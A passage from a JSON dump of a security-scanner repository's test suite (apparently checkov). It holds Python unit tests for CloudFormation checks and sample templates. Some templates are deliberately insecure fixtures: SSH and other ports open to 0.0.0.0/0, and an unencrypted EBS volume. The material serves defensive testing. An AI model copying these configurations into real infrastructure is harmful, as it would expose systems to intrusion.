    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.cloudformation.checks.resource.aws.WAFACLCVE202144228 import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWAFACLCVE202144228(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"AWS::WAFv2::WebACL.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::WAFv2::WebACL.NoRule\",\n            \"AWS::WAFv2::WebACL.WrongRule\",\n            \"AWS::WAFv2::WebACL.RuleCount\",\n            \"AWS::WAFv2::WebACL.RuleGroupCount\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_WAFEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.WAFEnabled import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWAFEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WAFEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_WorkspaceRootVolumeEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.WorkspaceRootVolumeEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWorkspaceRootVolumeEncrypted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WorkspaceRootVolumeEncrypted\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::WorkSpaces::Workspace.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::WorkSpaces::Workspace.FailDefault\",\n            \"AWS::WorkSpaces::Workspace.FailExplicit\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/test_WorkspaceUserVolumeEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.cloudformation.checks.resource.aws.WorkspaceUserVolumeEncrypted import check\nfrom checkov.cloudformation.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestWorkspaceUserVolumeEncrypted(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_WorkspaceUserVolumeEncrypted\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        for record in report.failed_checks:\n            self.assertEqual(record.check_id, check.id)\n        \n        for record in report.passed_checks:\n            self.assertEqual(record.check_id, check.id)\n\n        passing_resources = {\n            \"AWS::WorkSpaces::Workspace.Pass\",\n        }\n\n        failing_resources = {\n            \"AWS::WorkSpaces::Workspace.FailDefault\",\n            \"AWS::WorkSpaces::Workspace.FailExplicit\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/EC2InstanceWithSecurityGroupSample-NoDesc.yaml",
    "content": "\nMetadata:\n  License: Apache-2.0\nDescription: 'AWS CloudFormation Sample Template EC2InstanceWithSecurityGroupSample:\n  Create an Amazon EC2 instance running the Amazon Linux AMI. The AMI is chosen based\n  on the region in which the stack is run. This example creates an EC2 security group\n  for the instance to give you SSH access. **WARNING** This template creates an Amazon\n  EC2 instance. You will be billed for the AWS resources used if you create a stack\n  from this template.\n  Source - https://raw.githubusercontent.com/awslabs/aws-cloudformation-templates/master/aws/services/EC2/EC2InstanceWithSecurityGroupSample.yaml'\nParameters:\n  KeyName:\n    Description: Name of an existing EC2 KeyPair to enable SSH access to the instance\n    Type: AWS::EC2::KeyPair::KeyName\n    ConstraintDescription: must be the name of an existing EC2 KeyPair.\n  InstanceType:\n    Description: WebServer EC2 instance type\n    Type: String\n    Default: t3.small\n    AllowedValues: [t2.nano, t2.micro, t2.small, t2.medium, t2.large, t2.xlarge, t2.2xlarge,\n      t3.nano, t3.micro, t3.small, t3.medium, t3.large, t3.xlarge, t3.2xlarge,\n      m4.large, m4.xlarge, m4.2xlarge, m4.4xlarge, m4.10xlarge,\n      m5.large, m5.xlarge, m5.2xlarge, m5.4xlarge,\n      c5.large, c5.xlarge, c5.2xlarge, c5.4xlarge, c5.9xlarge,\n      g3.8xlarge,\n      r5.large, r5.xlarge, r5.2xlarge, r5.4xlarge, r3.12xlarge,\n      i3.xlarge, i3.2xlarge, i3.4xlarge, i3.8xlarge,\n      d2.xlarge, d2.2xlarge, d2.4xlarge, d2.8xlarge]\n    ConstraintDescription: must be a valid EC2 instance type.\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n  LatestAmiId:\n    Type:  'AWS::SSM::Parameter::Value<AWS::EC2::Image::Id>'\n    Default: '/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2'\nResources:\n  EC2Instance:\n    #SUPPRESS#\n    Type: AWS::EC2::Instance\n    Properties:\n      InstanceType: !Ref 'InstanceType'\n      SecurityGroups: [!Ref 'InstanceSecurityGroup']\n      KeyName: !Ref 'KeyName'\n      ImageId: !Ref 'LatestAmiId'\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - IpProtocol: tcp\n        FromPort: 22\n        ToPort: 22\n        CidrIp: !Ref 'SSHLocation'\nOutputs:\n  InstanceId:\n    Description: InstanceId of the newly created EC2 instance\n    Value: !Ref 'EC2Instance'\n  AZ:\n    Description: Availability Zone of the newly created EC2 instance\n    Value: !GetAtt [EC2Instance, AvailabilityZone]\n  PublicDNS:\n    Description: Public DNSName of the newly created EC2 instance\n    Value: !GetAtt [EC2Instance, PublicDnsName]\n  PublicIP:\n    Description: Public IP address of the newly created EC2 instance\n    Value: !GetAtt [EC2Instance, PublicIp]\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/EC2InstanceWithSecurityGroupSample.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nMetadata:\n  License: Apache-2.0\nDescription: 'AWS CloudFormation Sample Template EC2InstanceWithSecurityGroupSample:\n  Create an Amazon EC2 instance running the Amazon Linux AMI. The AMI is chosen based\n  on the region in which the stack is run. This example creates an EC2 security group\n  for the instance to give you SSH access. **WARNING** This template creates an Amazon\n  EC2 instance. You will be billed for the AWS resources used if you create a stack\n  from this template.\n  Source - https://raw.githubusercontent.com/awslabs/aws-cloudformation-templates/master/aws/services/EC2/EC2InstanceWithSecurityGroupSample.yaml'\nParameters:\n  KeyName:\n    Description: Name of an existing EC2 KeyPair to enable SSH access to the instance\n    Type: AWS::EC2::KeyPair::KeyName\n    ConstraintDescription: must be the name of an existing EC2 KeyPair.\n  InstanceType:\n    Description: WebServer EC2 instance type\n    Type: String\n    Default: t3.small\n    AllowedValues: [t2.nano, t2.micro, t2.small, t2.medium, t2.large, t2.xlarge, t2.2xlarge,\n      t3.nano, t3.micro, t3.small, t3.medium, t3.large, t3.xlarge, t3.2xlarge,\n      m4.large, m4.xlarge, m4.2xlarge, m4.4xlarge, m4.10xlarge,\n      m5.large, m5.xlarge, m5.2xlarge, m5.4xlarge,\n      c5.large, c5.xlarge, c5.2xlarge, c5.4xlarge, c5.9xlarge,\n      g3.8xlarge,\n      r5.large, r5.xlarge, r5.2xlarge, r5.4xlarge, r3.12xlarge,\n      i3.xlarge, i3.2xlarge, i3.4xlarge, i3.8xlarge,\n      d2.xlarge, d2.2xlarge, d2.4xlarge, d2.8xlarge]\n    ConstraintDescription: must be a valid EC2 instance type.\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n  LatestAmiId:\n    Type:  'AWS::SSM::Parameter::Value<AWS::EC2::Image::Id>'\n    Default: '/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2'\nResources:\n  EC2Instance:\n    #SUPPRESS#\n    Type: AWS::EC2::Instance\n    Properties:\n      InstanceType: !Ref 'InstanceType'\n      SecurityGroups: [!Ref 'InstanceSecurityGroup']\n      KeyName: !Ref 'KeyName'\n      ImageId: !Ref 'LatestAmiId'\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - IpProtocol: tcp\n        FromPort: 22\n        ToPort: 22\n        CidrIp: !Ref 'SSHLocation'\nOutputs:\n  InstanceId:\n    Description: InstanceId of the newly created EC2 instance\n    Value: !Ref 'EC2Instance'\n  AZ:\n    Description: Availability Zone of the newly created EC2 instance\n    Value: !GetAtt [EC2Instance, AvailabilityZone]\n  PublicDNS:\n    Description: Public DNSName of the newly created EC2 instance\n    Value: !GetAtt [EC2Instance, PublicDnsName]\n  PublicIP:\n    Description: Public IP address of the newly created EC2 instance\n    Value: !GetAtt [EC2Instance, PublicIp]\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/EKSCluster.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  myCluster:\n    Type: 'AWS::EKS::Cluster'\n    Properties:\n      Name: prod\n      Version: '1.14'\n      RoleArn: >-\n        arn:aws:iam::012345678910:role/eks-service-role-AWSServiceRoleForAmazonEKS-EXAMPLEBQ4PI\n      ResourcesVpcConfig:\n        SecurityGroupIds:\n          - sg-6979fe18\n        SubnetIds:\n          - subnet-6782e71e\n          - subnet-e7e761ac\n      CloudWatch:\n        ClusterLogging: True\n        # Should list the logs too... \n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/ElasticsearchDomain.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nParameters:\n  DomainName:\n    Description: User defined Elasticsearch Domain name\n    Type: String\n  ElasticsearchVersion:\n    Description: User defined Elasticsearch Version\n    Type: String\n  InstanceType:\n    Type: String\n  AvailabilityZone:\n    Type: String\n  CidrBlock:\n    Type: String\n    AllowedPattern: '^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])(\\/([0-9]|[1-2][0-9]|3[0-2]))$'\n  #GroupDescription:\n  #  Type: String\n  #SGName:\n  #  Type: String\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\nResources:\n  ElasticsearchDomain:\n    Type: AWS::Elasticsearch::Domain\n    Properties:\n      DomainName: !Ref DomainName\n      EncryptionAtRestOptions:\n        #Enabled: False\n        Enabled: True\n      #  KmsKeyId: 1a2a3a4-1a2a-3a4a-5a6a-1a2a3a4a5a6a\n      ##########\n      NodeToNodeEncryptionOptions:\n      #  Enabled: False\n        Enabled: True\n      ElasticsearchVersion: !Ref ElasticsearchVersion\n      ElasticsearchClusterConfig:\n        InstanceCount: 1\n        InstanceType: !Ref InstanceType\n      EBSOptions:\n        EBSEnabled: True\n        Iops: 0\n        VolumeSize: 10\n        VolumeType: standard\n      SnapshotOptions:\n        AutomatedSnapshotStartHour: 0\n      AccessPolicies:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Principal:\n              AWS: '*'\n            Action: 'es:*'\n            Resource: '*'\n      AdvancedOptions:\n        rest.action.multi.allow_explicit_index: 'true'\n      Tags:\n        - Key: foo\n          Value: bar\n      VPCOptions:\n        SubnetIds:\n          - !Ref subnet\n        SecurityGroupIds:\n          - !Ref SecurityGroup\n          #- !Ref mySecurityGroup\n  vpc:\n    Type: AWS::EC2::VPC\n    Properties:\n      CidrBlock: 10.0.0.0/16\n  subnet:\n    Type: AWS::EC2::Subnet\n    Properties:\n      VpcId: !Ref vpc\n      CidrBlock: !Ref CidrBlock\n      AvailabilityZone: !Ref AvailabilityZone\n  #mySecurityGroup:\n  #  Type: AWS::EC2::SecurityGroup\n  #  Properties:\n  #    GroupDescription: !Ref GroupDescription\n  #    VpcId: !Ref vpc\n  #    GroupName: !Ref SGName\n  #    SecurityGroupIngress:\n  #      - Description: 'HTTP Ingress' \n  #        FromPort: 443\n  #        IpProtocol: tcp\n  #        ToPort: 443\n  #        CidrIp: 0.0.0.0/0\nOutputs:\n  DomainArn:\n    Value: !GetAtt ElasticsearchDomain.DomainArn\n  DomainEndpoint:\n    Value: !GetAtt ElasticsearchDomain.DomainEndpoint\n  #SecurityGroupId:\n  #  Value: !Ref mySecurityGroup\n  SubnetId:\n    Value: !Ref subnet\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/ec2_instance_with_ebs_volume.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Sample EBS Volume with EC2 instance template\nResources: \n  NewVolume:\n    Type: AWS::EC2::Volume\n    Properties: \n      Size: 100\n      #Encrypted: true\n      Encrypted: false\n      AvailabilityZone: !GetAtt EC2Instance.AvailabilityZone\n      Tags:\n        - Key: MyTag\n          Value: TagValue\n    DeletionPolicy: Snapshot\n\n  EC2Instance:\n    Type: AWS::EC2::Instance\n    Properties:\n      InstanceType: t2.nano\n      ImageId: ami-80861296\n      KeyName: my-key\n      SecurityGroupIds:\n        - sg-abc01234\n      SubnetId: subnet-abc01234\n      Tags:\n        -\n          Key: Name\n          Value: webserver\n      BlockDeviceMappings:\n        # Create a separate volume\n        - DeviceName: /dev/sda11\n          Ebs:\n            DeleteOnTermination: false\n            VolumeSize: 10\n            VolumeType: gp2\n            Encrypted: True\t# https://aws.amazon.com/about-aws/whats-new/2019/05/launch-encrypted-ebs-backed-ec2-instances-from-unencrypted-amis-in-a-single-step/\n     # Volumes: \n     #   - Device: \"/dev/sdf\"\n     #     VolumeId: !Ref NewVolume\n\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/ec2_sec_group_2.json",
    "content": "{\n  \"Description\": \"Create a VPC with a SG which references itself\",\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Resources\": {\n    \"vpctester\": {\n      \"Type\": \"AWS::EC2::VPC\",\n      \"Properties\": {\n        \"CidrBlock\": \"172.16.0.0/23\",\n        \"EnableDnsSupport\": false,\n        \"EnableDnsHostnames\": false,\n        \"InstanceTenancy\": \"default\",\n        \"Tags\": [ { \"Key\": \"Name\", \"Value\": \"vpctester\" } ]\n      }\n    },\n    \"sgtester\": {\n      \"Type\": \"AWS::EC2::SecurityGroup\",\n      \"DependsOn\": \"vpctester\",\n      \"Properties\": {\n        \"GroupDescription\": \"vpc tester sg\",\n        \"VpcId\": { \"Ref\": \"vpctester\" }\n      }\n    },\n    \"sgtesteringress\": {\n      \"Type\": \"AWS::EC2::SecurityGroupIngress\",\n      \"DependsOn\": \"sgtester\",\n      \"Properties\": {\n        \"GroupId\": { \"Ref\": \"sgtester\" },\n        \"IpProtocol\": \"tcp\",\n        \"FromPort\": \"0\",\n        \"ToPort\": \"65535\",\n        \"SourceSecurityGroupId\": { \"Ref\": \"sgtester\" }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/ec2_security_group.json",
    "content": "{\n  \"AWSTemplateFormatVersion\" : \"2010-09-09\",\n\n  \"Description\" : \"Create a sec group test\",\n\n  \"Parameters\" : {\n    \"VpcId\" : {\n      \"Type\" : \"AWS::EC2::VPC::Id\",\n      \"Description\" : \"VpcId of your existing Virtual Private Cloud (VPC)\"\n    },\n\n    \"SourceSG\" : {\n      \"Type\" : \"AWS::EC2::SecurityGroup::Id\",\n      \"Description\" : \"Source Security Group\"\n    }\n\n  },\n\n  \"Mappings\" : {\n\n  },\n\n  \"Resources\" : {\n    \"TestSecurityGroup\" : {\n      \"Type\" : \"AWS::EC2::SecurityGroup\",\n      \"Properties\" : {\n        \"VpcId\" : { \"Ref\" : \"VpcId\" },\n        \"GroupDescription\" : \"Enable HTTP access via port 80/22/443 and ICMP access via port *\",\n        \"SecurityGroupIngress\" : [\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"80\", \"ToPort\" : \"80\", \"CidrIp\" : \"0.0.0.0/0\"},\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"8888\", \"ToPort\" : \"8888\", \"CidrIp\" : \"0.0.0.0/0\"},\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"22\", \"ToPort\" : \"22\", \"SourceSecurityGroupId\": { \"Ref\": \"SourceSG\" }, \"CidrIp\" : \"0.0.0.0/0\"}\n        ]\n      }\n    }\n  },\n\n  \"Outputs\" : {\n    \"WebsiteURL\" : {\n      \"Description\" : \"URL for newly created KWOS deploy stack\",\n      \"Value\" : { \"Fn::Join\" : [\"\", [\"http://\", { \"Fn::GetAtt\" : [ \"KWOSInstance\", \"PublicDnsName\" ]}]] }\n    },\n    \"InstanceId\" : {\n      \"Value\" : { \"Ref\" : \"KWOSInstance\" },\n      \"Description\" : \"Instance Id of newly created instance\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/unused/ec2_with_waitcondition_template.json",
    "content": "{\n  \"AWSTemplateFormatVersion\" : \"2010-09-09\",\n\n  \"Description\" : \"Create a variable number of EC2 instance resources.  Source: https://github.com/awslabs/aws-cloudformation-templates/blob/master/community/services/EC2/ec2_with_waitcondition_template.json\",\n\n  \"Parameters\" : {\n\n    \"KeyName\": {\n      \"Description\" : \"Name of an existing EC2 KeyPair to enable SSH access to the instance\",\n      \"Type\": \"AWS::EC2::KeyPair::KeyName\",\n      \"Default\" : \"slinger_testing\",\n      \"ConstraintDescription\" : \"must be the name of an existing EC2 KeyPair.\"\n    },\n\n    \"InstanceName\" : {\n      \"Description\" : \"Name of EC2 instance\",\n      \"Type\" : \"String\",\n      \"ConstraintDescription\" : \"must be a valid EC2 instance string name.\"\n    },\n\n    \"InstanceType\" : {\n      \"Description\" : \"Basic EC2 instance type\",\n      \"Type\" : \"String\",\n      \"Default\" : \"c4.2xlarge\",\n      \"AllowedValues\" : [ \"t1.micro\", \"t2.nano\", \"t2.micro\", \"t2.small\", \"t2.medium\", \"t2.large\", \"m1.small\", \"m1.medium\", \"m1.large\", \"m1.xlarge\", \"m2.xlarge\", \"m2.2xlarge\", \"m2.4xlarge\", \"m3.medium\", \"m3.large\", \"m3.xlarge\", \"m3.2xlarge\", \"m4.large\", \"m4.xlarge\", \"m4.2xlarge\", \"m4.4xlarge\", \"m4.10xlarge\", \"c1.medium\", \"c1.xlarge\", \"c3.large\", \"c3.xlarge\", \"c3.2xlarge\", \"c3.4xlarge\", \"c3.8xlarge\", \"c4.large\", \"c4.xlarge\", \"c4.2xlarge\", \"c4.4xlarge\", \"c4.8xlarge\", \"g2.2xlarge\", \"g2.8xlarge\", \"r3.large\", \"r3.xlarge\", \"r3.2xlarge\", \"r3.4xlarge\", \"r3.8xlarge\", \"i2.xlarge\", \"i2.2xlarge\", \"i2.4xlarge\", \"i2.8xlarge\", \"d2.xlarge\", \"d2.2xlarge\", \"d2.4xlarge\", \"d2.8xlarge\", \"hi1.4xlarge\", \"hs1.8xlarge\", \"cr1.8xlarge\", \"cc2.8xlarge\", \"cg1.4xlarge\"]\n,\n      \"ConstraintDescription\" : \"must be a valid EC2 instance type.\"\n    },\n\n    \"InstanceCount\" : {\n      \"Description\" : \"Basic EC2 instance count\",\n      \"Type\" : \"String\",\n      \"Default\" : \"1\",\n      \"ConstraintDescription\" : \"must be a valid EC2 instance count.\"\n    },\n\n    \"ImageId\" : {\n      \"Description\" : \"Basic instance ami\",\n      \"Type\" : \"String\"\n    },\n\n    \"VpcId\" : {\n      \"Type\" : \"String\",\n      \"Description\" : \"VpcId of your existing Virtual Private Cloud (VPC)\"\n    },\n\n    \"SubnetId\" : {\n      \"Type\" : \"String\",\n      \"Description\" : \"SubnetId of an existing subnet in your Virtual Private Cloud (VPC)\"\n    },\n\n    \"SSHLocation\" : {\n      \"Description\" : \" The IP address range that can be used to SSH to the EC2 instances\",\n      \"Type\": \"String\",\n      \"MinLength\": \"9\",\n      \"MaxLength\": \"18\",\n      \"Default\": \"0.0.0.0/0\",\n      \"AllowedPattern\": \"(\\\\d{1,3})\\\\.(\\\\d{1,3})\\\\.(\\\\d{1,3})\\\\.(\\\\d{1,3})/(\\\\d{1,2})\",\n      \"ConstraintDescription\": \"must be a valid IP CIDR range of the form x.x.x.x/x.\"\n    },\n\n    \"BudgetCode\" : {\n      \"Description\" : \" Budget code to save money\",\n      \"Type\" : \"String\",\n      \"Default\" : \"A019517\",\n      \"ConstraintDescription\" : \"must be a valid budget code.\"\n    },\n\n    \"LaunchPlatform\" : {\n      \"Description\" : \" Mark current platform\",\n      \"Type\" : \"String\",\n      \"Default\" : \"bitstorm_dev\",\n      \"ConstraintDescription\" : \"must be a valid platform like bitstorm_qc bitstorm_dev bitstorm_staggin bitstorm_live.\"\n    },\n\n    \"LaunchUser\" : {\n      \"Description\" : \" Mark current tester\",\n      \"Type\" : \"String\",\n      \"Default\" : \"null\",\n      \"ConstraintDescription\" : \"must be a valid and existing tester.\"\n    },\n\n    \"TestID\" : {\n      \"Description\" : \" Mark current testcase\",\n      \"Type\" : \"String\",\n      \"ConstraintDescription\" : \"must be a valid and existing testcase id.\"\n    },\n\n    \"TestTarget\" : {\n      \"Description\" : \" Mark current test target\",\n      \"Type\" : \"String\",\n      \"ConstraintDescription\" : \"must be a valid and existing test target name.\"\n    },\n\n    \"AgentID\" : {\n      \"Description\" : \" Mark current agent\",\n      \"Type\" : \"String\"\n    },\n\n    \"IsMaster\" : {\n      \"Description\" : \"Mark master agent\",\n      \"Type\" : \"String\",\n      \"Default\" : \"False\"\n    },\n\n    \"MasterID\" : {\n      \"Description\" : \"Mark master ID\",\n      \"Type\" : \"String\",\n      \"Default\" : \"null\"\n    }\n  },\n\n  \"Mappings\" : {\n\n  },\n\n  \"Resources\" : {\n    \"KWOSInstance\": {\n      \"Type\": \"AWS::EC2::Instance\",\n      \"Metadata\": {\n        \"AWS::CloudFormation::Init\": {\n\n        }\n      },\n      \"Properties\": {\n        \"ImageId\": {\n            \"Ref\": \"ImageId\"\n        },\n        \"InstanceType\": {\n          \"Ref\": \"InstanceType\"\n        },\n        \"SubnetId\": {\n          \"Ref\": \"SubnetId\"\n        },\n        \"SecurityGroupIds\": [\n          {\n            \"Ref\": \"KWOSSecurityGroup\"\n          }\n        ],\n        \"KeyName\": {\n          \"Ref\": \"KeyName\"\n        },\n        \"Tags\": [\n          {\n            \"Key\": \"LaunchPlatform\",\n            \"Value\": {\n              \"Ref\": \"LaunchPlatform\"\n            }\n          },\n          {\n            \"Key\": \"LaunchUser\",\n            \"Value\": {\n              \"Ref\": \"LaunchUser\"\n            }\n          },\n          {\n            \"Key\": \"TestID\",\n            \"Value\": {\n              \"Ref\": \"TestID\"\n            }\n          },\n          {\n            \"Key\": \"Name\",\n            \"Value\": {\n              \"Ref\": \"InstanceName\"\n            }\n          },\n          {\n            \"Key\": \"BudgetCode\",\n            \"Value\": {\n              \"Ref\": \"BudgetCode\"\n            }\n          },\n          {\n            \"Key\": \"TestTarget\",\n            \"Value\": {\n              \"Ref\": \"TestTarget\"\n            }\n          },\n          {\n            \"Key\": \"AgentID\",\n            \"Value\": {\n              \"Ref\": \"AgentID\"\n            }\n          },\n          {\n            \"Key\": \"IsMaster\",\n            \"Value\": {\n              \"Ref\": \"IsMaster\"\n            }\n          },\n          {\n            \"Key\": \"MasterID\",\n            \"Value\": {\n              \"Ref\": \"MasterID\"\n            }\n          }\n        ],\n        \"Monitoring\": false,\n        \"UserData\": {\n          \"Fn::Base64\": {\n            \"Fn::Join\": [\n              \"\",\n              [\n                \"#!/bin/bash\\n\",\n                \"apt-get -y install python-pip\\n\",\n                \"pip install https://s3.amazonaws.com/cloudformation-examples/aws-cfn-bootstrap-latest.tar.gz\\n\",\n                \"# Helper function\\n\",\n                \"function error_exit\\n\",\n                \"{\\n\",\n                \"  /usr/local/bin/cfn-signal -e 1 -r \\\"$1\\\" '\",\n                {\n                  \"Ref\": \"KWOSWaitHandle\"\n                },\n                \"'\\n\",\n                \"  exit 1\\n\",\n                \"}\\n\",\n                \"# Install the basic system configuration\\n\",\n                \"/usr/local/bin/cfn-init -s \",\n                {\n                  \"Ref\": \"AWS::StackId\"\n                },\n                \" -r KWOSInstance \",\n                \"         --region \",\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \" || error_exit 'Failed to run cfn-init'\\n\",\n                \"# All done so signal success\\n\",\n                \"/usr/local/bin/cfn-signal -e 0 -r \\\"KWOS setup complete\\\" '\",\n                {\n                  \"Ref\": \"KWOSWaitHandle\"\n                },\n                \"'\\n\"\n              ]\n            ]\n          }\n        }\n      }\n    },\n\n    \"KWOSWaitHandle\": {\n      \"Type\": \"AWS::CloudFormation::WaitConditionHandle\"\n    },\n\n    \"KWOSWaitCondition\": {\n        \"Type\": \"AWS::CloudFormation::WaitCondition\",\n        \"Properties\": {\n          \"Handle\": {\n              \"Ref\": \"KWOSWaitHandle\"\n          },\n          \"Timeout\": \"300\"\n        }\n    },\n\n    \"KWOSSecurityGroup\" : {\n      \"Type\" : \"AWS::EC2::SecurityGroup\",\n      \"Properties\" : {\n        \"VpcId\" : { \"Ref\" : \"VpcId\" },\n        \"GroupDescription\" : \"Enable HTTP access via port 80/22/443 and ICMP access via port *\",\n        \"SecurityGroupIngress\" : [\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"80\", \"ToPort\" : \"80\", \"CidrIp\" : \"0.0.0.0/0\"},\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"8888\", \"ToPort\" : \"8888\", \"CidrIp\" : \"0.0.0.0/0\"},\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"443\", \"ToPort\" : \"443\", \"CidrIp\" : \"0.0.0.0/0\"},\n          {\"IpProtocol\" : \"icmp\", \"FromPort\" : \"8\", \"ToPort\" : \"-1\", \"CidrIp\" : \"0.0.0.0/0\" },\n          {\"IpProtocol\" : \"tcp\", \"FromPort\" : \"22\", \"ToPort\" : \"22\", \"CidrIp\" : { \"Ref\" : \"SSHLocation\"}}\n        ]\n      }\n    }\n  },\n\n  \"Outputs\" : {\n    \"WebsiteURL\" : {\n      \"Description\" : \"URL for newly created KWOS deploy stack\",\n      \"Value\" : { \"Fn::Join\" : [\"\", [\"http://\", { \"Fn::GetAtt\" : [ \"KWOSInstance\", \"PublicDnsName\" ]}]] }\n    },\n    \"InstanceId\" : {\n      \"Value\" : { \"Ref\" : \"KWOSInstance\" },\n      \"Description\" : \"Instance Id of newly created instance\"\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/cloudformation/checks/test_wildcard_entities.py",
